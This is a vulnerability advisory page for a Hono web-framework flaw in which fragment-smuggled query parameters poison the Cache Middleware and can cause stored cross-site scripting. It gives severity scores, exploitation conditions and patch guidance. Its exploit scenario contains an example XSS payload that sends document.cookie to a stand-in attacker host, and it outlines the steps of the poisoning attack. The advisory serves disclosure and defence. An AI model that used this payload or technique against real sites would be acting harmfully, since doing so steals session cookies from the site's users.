Skip to main content

Hono CVE-2026-84363

| EUVDEUVD-2026-69610 MEDIUM
HTTP Request/Response Smuggling (CWE-444)
2026-09-01 GitHub_M GHSA-crvj-82cr-hjcx
5.9
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify runtime forwarding raw `#` to Hono server
  2. Delivery
    Send request with `#?param=<payload>` to cached route
  3. Exploit
    Hono query helper reads fragment-as-query parameter
  4. Execution
    Cache Middleware stores response under fragment-stripped key
  5. Persist
    Subsequent users receive poisoned response
  6. Impact
    XSS payload executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V4 - API and Web Service HTTP request consistency
Exploitation Conditions

Exploitation requires all three of the following conditions to be true simultaneously: (1) the Hono application runs on a runtime and behind intermediaries that forward the literal # character in request URLs to the application - Cloudflare Workers is explicitly confirmed safe; common Node.js/Bun/Deno deployments behind some reverse proxy configurations are potentially exposed; (2) Hono's Cache Middleware (cache()) is configured on the affected route - applications not using the Cache Middleware are not vulnerable to cache poisoning, though the parameter-smuggling discrepancy still exists for bypassing WAF/logging; and (3) for stored XSS impact specifically, the application reflects a c.req.query() value into cached HTML output without proper output escaping. The CVSS PR:N vector confirms no authentication is required from the attacker side. AC:H reflects the runtime/intermediary prerequisite, which is the primary limiter beyond software version.

Impact

The provided CVSS 5.9 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N) captures the cache-poisoning primitive accurately but understates the worst-case impact path: when the application reflects fragment-readable parameters into cached HTML without escaping, the result is stored XSS, which crosses a scope boundary into the victim's browser and enables confidentiality impact via session or credential theft. Accounting for stored XSS raises the effective severity. However, AC:H is well-justified and significantly limits practical risk: the attack requires a runtime and network path that forward the literal # character to the server - Cloudflare Workers, the dominant Hono deployment target, explicitly strips fragments and is confirmed unaffected. No EPSS score was provided and the CVE is not in CISA KEV, indicating no confirmed active exploitation. SSVC signals are low-urgency outside of non-Cloudflare deployments. Organizations running Hono on Node.js, Bun, or Deno behind reverse proxies that do not strip fragments (e.g., certain nginx or Caddy configurations) should treat this as a genuine priority due to the cache-poisoning amplification - a single attacker request can affect all subsequent users without further attacker interaction.

Exploit ScenarioDerived

An attacker targeting a Node.js-hosted Hono application with the Cache Middleware enabled sends a GET request to a cached HTML route with a URL such as http://example.com/report#?title=<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. Hono reads title as a query parameter and reflects it unescaped into the HTML response; the Cache Middleware stores this response under the key http://example.com/report (fragment stripped), serving the XSS payload to every subsequent user who requests that page until the cache expires or is invalidated. No public exploit code has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Cache poisoning and stored XSS in Hono (all versions before 4.13.5) stem from the framework's query helpers treating a literal #? sequence as a query string, creating a parser discrepancy between the application and every other layer - browsers, reverse proxies, WAFs, access logs, and validation middleware - that correctly ignores fragments. The Cache Middleware compounded this by stripping fragments when building cache keys, so a response shaped by fragment-injected parameters gets stored and served to subsequent users under a key that omits those parameters entirely. No public exploit code has been identified at time of analysis, and exploitation is gated by the requirement that the runtime and intermediary pass raw # characters through to the application.

RemediationAI

Upgrade to Hono 4.13.5, available at https://github.com/honojs/hono/releases/tag/v4.13.5, which patches both the URL parsing helpers and the Cache Middleware cache-key logic. The fix commit is 9c28d724c5a7fb086ebaa812fdc1ad6e957c63bc. If immediate upgrade is not possible, two compensating controls apply: first, disable the Cache Middleware (cache()) on any route where query parameters are reflected into HTML responses - this eliminates the cache-poisoning amplification, though the parameter-smuggling discrepancy remains; second, deploy behind an intermediary (e.g., Cloudflare, or an nginx proxy_pass configuration that normalizes URLs) that strips fragment components before forwarding, which eliminates the attack vector entirely. The intermediary-based control is effective but should not substitute for patching, as it relies on infrastructure configuration remaining stable. Regardless of upgrade status, audit all routes that call c.req.query() and reflect values into HTML output for missing output escaping.

Affected VersionsENISA

hono < 4.13.5

Affected Packages

npm hono fix: 4.13.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Hono (CPE: cpe:2.3:a:honojs:hono:*:*:*:*:*:*:*:*) is a lightweight TypeScript/JavaScript web framework targeting Cloudflare Workers, Bun, Deno, and Node.js. The root cause (CWE-444, Inconsistent Interpretation of HTTP Requests) is in src/utils/url.ts: the legacy getQueryStrings, getQueryParam, and getQueryParams helpers tokenized URLs using only the ? character as a delimiter, without first truncating at #. RFC 3986 mandates that fragments are never transmitted by compliant clients or intermediaries, but certain runtimes and proxies forward the raw # byte. When they do, a URL like http://example.com/#?name=payload caused Hono to parse ?name=payload as a real query string. Simultaneously, the Cache Middleware's createCacheKey in src/middleware/cache/index.ts called .split('#', 1)[0] on the cache key, stripping the fragment - so the poisoned response was stored under the clean URL and served to all users hitting that cache entry. The fix (commit 9c28d724c5a7fb086ebaa812fdc1ad6e957c63bc) adds a pre-truncation step in the URL helpers and removes the fragment-stripping split in cache key construction.

Know when Hono gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.9 MEDIUM
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
vuln.today AI 6.9 MEDIUM

AC:H for runtime prerequisite; stored XSS crosses scope (S:C, UI:R); C:L for session exfiltration potential; I:H for full cache-response substitution.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

1
Patch available
Sep 01, 2026 - 22:03 EUVD

DescriptionCVE.org

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.13.5, Hono's query helpers treat a question mark after a literal hash fragment as the start of a query string, so the application can read request parameters that browsers, new URL(), reverse proxies, filtering rules, parameter allow and deny lists, access logging, request validation, and other middleware do not observe. The Cache Middleware removes the fragment when building its cache key, allowing a response influenced by parameters inside the fragment to be stored under a key that omits those parameters and later served to other users. This can bypass filtering and auditing, poison cached responses, and enable stored cross-site scripting when an affected parameter is reflected into cached HTML without escaping. Exploitation requires a runtime and intermediary path that passes a literal hash character through to the request URL; Cloudflare Workers and intermediaries that strip fragments are not affected. This issue is fixed in version 4.13.5.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 143 npm packages depend on hono (77 direct, 69 indirect)

Ecosystem-wide dependent count for version 4.13.5.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Medium
popular JavaScript edge-runtime framework, significant Cloudflare Workers and Bun adoption
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

HTTP request smuggling exploits inconsistencies in how front-end and back-end servers parse HTTP message boundaries.

More in Hono

View all
CVE-2025-62610 HIGH POC
8.1 Oct 22

Improper authorization in Hono's JWT Auth Middleware (hono/jwt in the npm package 'hono', versions 1.1.0 through 4.10.1)

CVE-2024-32652 HIGH POC
7.5 Apr 19

The adapter @hono/node-server allows you to run your Hono application on Node.js. Rated high severity (CVSS 7.5), this v

CVE-2024-48913 MEDIUM POC
5.9 Oct 15

Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by

CVE-2026-71848 MEDIUM POC
5.3 Aug 07

Quadratic-complexity denial of service in Hono's `languageDetector` middleware (versions 4.12.0-4.12.33) allows unauthen

CVE-2026-47676 MEDIUM POC
5.3 May 28

Path prefix stripping in Hono's app.mount() API exposes mounted sub-applications to incorrect routing due to a raw-vs-de

CVE-2024-32869 MEDIUM POC
5.3 Apr 23

Hono is a Web application framework that provides support for any JavaScript runtime. Rated medium severity (CVSS 5.3),

CVE-2024-23340 MEDIUM POC
5.3 Jan 22

@hono/node-server is an adapter that allows users to run Hono applications on Node.js. Rated medium severity (CVSS 5.3),

CVE-2024-43787 MEDIUM POC
5.0 Aug 22

Hono is a Web application framework that provides support for any JavaScript runtime. Rated medium severity (CVSS 5.0),

CVE-2026-71850 MEDIUM POC
4.8 Aug 07

Cross-user HTML disclosure in Hono's server-side rendering affects all applications using hono/jsx with memo()-wrapped c

CVE-2023-50710 MEDIUM POC
4.3 Dec 14

Hono is a web framework written in TypeScript. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploita

CVE-2026-27700 HIGH
8.2 Feb 25

Hono is a Web application framework that provides support for any JavaScript runtime. [CVSS 8.2 HIGH]

CVE-2026-22818 HIGH
8.2 Jan 13

Hono versions before 4.11.4 allow JWT algorithm confusion attacks through improper algorithm validation in the JWK/JWKS

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy